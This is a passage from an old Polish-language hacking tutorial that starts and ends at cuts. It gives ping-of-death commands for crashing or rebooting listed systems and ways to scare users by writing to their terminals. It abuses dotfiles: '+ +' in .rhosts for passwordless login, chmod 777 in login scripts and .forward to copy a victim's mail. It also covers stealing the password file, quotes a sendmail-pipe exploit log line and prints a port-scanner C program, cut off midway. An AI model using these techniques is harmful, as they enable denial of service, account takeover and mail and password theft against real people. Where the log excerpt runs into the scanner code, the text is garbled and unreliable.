lub tmp nagrac, skompilowac i uruchomic wspomniany wczesniej programik z getpwent(). - Dzieki temu moze otrzymasz plik z haslami. A potem to juz chyba wiesz co robic!!! Lecz to dziala juz tylko na starych systemach Unixa. 8 Ping flood : P0WER Nie to nie irc, to unix. Tutaj mozna poslac takze ping ping -s host (Unix) powoduje wyslanie 64 bajtow do hosta. W Shicie 95 tez mozna poslac pinga. NAcisniej klawisz "start", potem "uruchom" i wpisz: PING -T -L 256 xxx.xxx.xxx.pl - taki tekst wystartuje okolo 15 sesji. ale co sie bedziemy rozdrabniac, przeciez chcemy namieszac! PING -l 65510 adres.do.spingowania.pl Zamrozi to maszynke lub ja przeresetuje(ale nie wiem czy nie spali ci twojego lacza modemowego ;) Po prostu, nie wiem czy to zadziala przez modem.(ale jak jakis twoj kumpel odpalil Linuxa na modemie to mozeci eksperymentowac) Ponoc dziala na kernel 2.0.7 up to version 2.0.20. i 2.1.1. na Linux (crash). AIX4, OSF, HPUX 10.1, DUnix 4.0 (crash). OSF/1, 3.2C, Solaris 2.4 x86 (reboot). 9 Jak kogos nastraszyc : P0WER Wyobraz sobie, ze siedzisz przed kompciem i czytasz czyjas poczte i nagle widzisz napis: Admin: Mam cie na oku ;) Robisz w gacie i spieprzasz z servera. Q1: Jak to zrobic??? A1: To proste jak drut:) 1 cd /dev 2 ls -l tt* teraz masz spis wszystkich zalogowanych uzytkownikow 3Napisz tylko >echo Admin: Mam cie na oku! >! /dev/ttyp08 (ttyp08 to przykladowy terminal) Mozna tez inaczej 1 finger enemyname zobaczysz: enemyname logged on since 12:24 from 194.165.56.7 on ttyp08 No i teraz tylko: >echo Admin: Mam cie na oku! >! /dev/ttyp08 10 Do czego sluza pliki .xxxx : P0WER Pliki .xxxx sa z reguly plikami konfiguracyjnymi. Nie ujawniaja sie gdy listujesz katalog, chyba ze robisz to z atrybutem -a Pozwalaja one czytac cudza poczte, odpalac cudze pliki, czy wchodzic na czyjes konto bez hasla. Lecz mozna wykorzystywac je tylko wtedy gdy wlasciciel konta jest lamerem i nie wie do czego one sluza, bo w przeciwnym razie twoje modyfikacje zostana wykryte. .rlogin Jest to plik, zawierajacy komendy, ktore uruchamiane sa za kazdym razem gdy uzytkownik loguje sie na konto. Zeby kogos zalatwic mozna w nim umiescic komende logout, ale tak robia tylko lamery. Jesli chcesz wywinac numer wpisz w niego chmod 777 * aby pliki uzytkownika byly dostepne dla wszystkich. Mozesz zrobic tez wiele innych rzeczy, wiec jako doswiadczony hacker sam dojdziesz do tego(lub nie ;) .rhosts W tym pliku zawarte sa adresy zaufanych hostow. Kazdy kto zaloguje sie przez remote login z takiej maszyny nie musi podawac hasla. Gdy umiescisz "+ +" w tym pliku to kazdy host bedzie zaufany.(opisalem ten numer w punkcie I-6) .forward Jesli w tym pliku umiescisz jakis adres e-maila to cala poczta uzytkownika bedzie rowniez wysylana pod podany adres. 11 Sciaganie passwd : P0WER Pamietaj, ze gdy sciagasz hasla zapisuje sie to w logach. Oto kawalek loga z servera x . Jest to plik syslog.0 Byl tam tez plik syslog , w ktorym logi i inne rzeczy zapisywane byly przez 24h Natomiast plik syslog.0 przechowywal te dane przez tydzien. Byl tez plik netlog ktory przez miesiac przechowywal wszystkie bledne polecenia skierowane do servera(przynajmniej tak to wygladalo). Wiecie w ogole ilu ludzi pobiera haselko w ciagu tygodnia z takiego popularnego servera!!! Apr 8 22:04:01 srv1 sendmail[5623]: AA05623: from="|/bin/mail root@194.204.147.39 [low port] [high port] ident-scan www.lamers.com 1 9999 ---cut here--- /* * ident-scan [v0.15] * This TCP scanner has the additional functionality of retrieving * the username that owns the daemon running on the specified port. * It does this by by attempting to connect to a TCP port, and if it * succeeds, it will send out an ident request to identd on the * remote host. I believe this to be a flaw in the design of the * protocol, and if it is the developers intent to allow 'reverse' * idents, then it should have been stated clearer in the * rfc(rfc1413). * * USES: * It can be useful to determine who is running daemons on high ports * that can be security risks. It can also be used to search for * misconfigurations such as httpd running as root, other daemons * running under the wrong uids. * * COMPILES: Compiles fine under Linux, BSDI and SunOS 4.1.x. * * Dave Goldsmith * */ #include #include #include #include #include #include #include #include #include enum errlist { BAD_ARGS,BAD_HOST,NO_IDENT,SOCK_ERR }; void usage(error) enum errlist error; { fprintf(stderr,"ident-scan: "); switch(error) { case BAD_ARGS: fprintf(stderr,"usage: ident-scan hostname [low port] [hi port]\n"); break; case BAD_HOST: fprintf(stderr,"error: cant resolve hostname\n"); break; case NO_IDENT: fprintf(stderr,"error: ident isnt running on host\n"); break; case SOCK_ERR: fprintf(stderr,"error: socket() failed\n"); break; } exit(-1); } struct hostent * fill_host(machine,host) char *machine; struct hostent *host; { if ((host=gethostbyname(machine))==NULL) { if ((host=gethostbyaddr(machine,4,AF_INET))==NULL) return(host); } return(host); } int main(argc,argv) int argc; char **argv; { struct sockaddr_in forconnect,forport,forident; int i,sockfd,identfd,len=sizeof(forport),hiport=9999,loport=1,curport; struct servent *service; struct hostent *host; char identbuf[15], recieved[85], *uid; if ((argc<2) || (argc>4)) usage(BAD_ARGS); if (argc>2) loport=atoi(argv[2]); if (argc>3) hiport=atoi(argv[3]); if ((host=fill_host(argv[1],host))==NULL) usage(BAD_HOST); forconnect.sin_family=host->h_addrtype; forconnect.sin_addr.s_addr=*((long *)host->h_addr); forident.sin_family=host->h_addrtype; forident.sin_addr.s_addr=*((long *)host->h_addr); forident.sin_port=htons(113); if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if ((connect(identfd,(struct sockaddr *)&forident,sizeof(forident)))!=0) usage(NO_IDENT); close(identfd); for(curport=loport;curport<=hiport;curport++) { for(i=0;i!=85;i++) recieved[i]='\0'; forconnect.sin_port=htons(curport); if ((sockfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if (connect(sockfd,(struct sockaddr *)&forconnect,sizeof(forconnect))== 0) { if (getsockname(sockfd,(struct sockaddr *)&forport,&len)==0) { if ((identfd=socket(AF_INET,SOCK_STREAM,0))== -1) usage(SOCK_ERR); if (connect(identfd,(struct sockaddr *)&forident,sizeof(forident)) ==0) { sprintf(identbuf,"%u,%u",htons(forconnect.sin_port), htons(forport.sin_port)); write(identfd,identbuf,strlen(identbuf)+1); read(identfd,recieved,80); recieved[strlen(recieved)-1]='\0'; uid=strrchr(recieved,' '); service=getservbyport(forconnect.sin_port,"tcp"); printf("Port: %3d\tService: %10